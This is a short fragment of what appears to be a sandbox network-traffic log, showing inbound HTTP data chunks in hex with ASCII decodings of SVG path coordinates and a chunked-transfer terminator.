2024-08-09 17:11:58 UTC	1369	IN	Data Raw: 20 32 2e 36 32 34 2d 32 2e 34 34 38 20 31 2e 35 35 32 20 30 20 32 2e 34 31 36 20 31 2e 30 34 20 32 2e 34 38 20 32 2e 34 34 38 68 2d 35 2e 31 30 34 5a 6d 36 2e 32 30 38 2e 33 35 32 63 30 2d 32 2e 30 34 38 2d 31 2e 32 33 32 2d 33 2e 37 31 32 2d 33 2e 35 38 34 2d 33 2e 37 31 32 2d 32 2e 31 32 38 20 30 2d 33 2e 37 37 36 20 31 2e 36 38 2d 33 2e 37 37 36 20 33 2e 39 33 36 20 30 20 32 2e 32 35 36 20 31 2e 36 34 38 20 33 2e 39 33 36 20 33 2e 38 37 32 20 33 2e 39 33 36 20 31 2e 32 33 32 20 30 20 32 2e 33 33 36 2d 2e 34 36 34 20 33 2e 32 31 36 2d 31 2e 35 38 34 6c 2d 2e 38 31 36 2d 2e 36 34 63 2d 2e 34 31 36 2e 36 37 32 2d 31 2e 32 38 20 31 2e 32 39 36 2d 32 2e 34 20 31 2e 32 39 36 2d 31 2e 35 33 36 20 30 2d 32 2e 37 30 34 2d 31 2e 32 31 36 2d 32 2e 37 33 36 2d 32 Data Ascii: 2.624-2.448 1.552 0 2.416 1.04 2.48 2.448h-5.104Zm6.208.352c0-2.048-1.232-3.712-3.584-3.712-2.128 0-3.776 1.68-3.776 3.936 0 2.256 1.648 3.936 3.872 3.936 1.232 0 2.336-.464 3.216-1.584l-.816-.64c-.416.672-1.28 1.296-2.4 1.296-1.536 0-2.704-1.216-2.736-2
2024-08-09 17:11:58 UTC	1029	IN	Data Raw: 2d 2e 33 35 32 2d 31 2e 37 36 2d 31 2e 34 32 34 20 30 2d 31 2e 34 32 34 20 32 2e 30 36 34 2d 31 2e 36 31 36 20 33 2e 38 34 2d 31 2e 36 31 36 68 2e 33 32 5a 6d 33 2e 35 37 37 2d 32 2e 30 39 36 56 31 33 68 31 2e 30 38 38 56 39 2e 31 36 63 30 2d 32 20 31 2e 30 34 2d 32 2e 38 33 32 20 32 2e 31 39 32 2d 32 2e 38 33 32 2e 32 38 38 20 30 20 2e 36 34 2e 30 34 38 2e 37 36 38 2e 30 39 36 6c 2e 31 34 34 2d 31 2e 30 32 34 61 32 2e 35 34 37 20 32 2e 35 34 37 20 30 20 30 20 30 2d 2e 37 32 2d 2e 30 38 63 2d 31 2e 30 35 36 20 30 2d 31 2e 39 38 34 2e 36 30 38 2d 32 2e 34 20 31 2e 34 37 32 68 2d 2e 30 33 32 63 30 2d 2e 33 32 2d 2e 30 33 32 2d 2e 38 38 2d 2e 30 36 34 2d 31 2e 32 38 68 2d 31 2e 30 34 63 2e 30 34 38 2e 35 31 32 2e 30 36 34 20 31 2e 32 34 38 2e 30 36 34 20 31 Data Ascii: -.352-1.76-1.424 0-1.424 2.064-1.616 3.84-1.616h.32Zm3.577-2.096V13h1.088V9.16c0-2 1.04-2.832 2.192-2.832.288 0 .64.048.768.096l.144-1.024a2.547 2.547 0 0 0-.72-.08c-1.056 0-1.984.608-2.4 1.472h-.032c0-.32-.032-.88-.064-1.28h-1.04c.048.512.064 1.248.064 1
2024-08-09 17:11:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0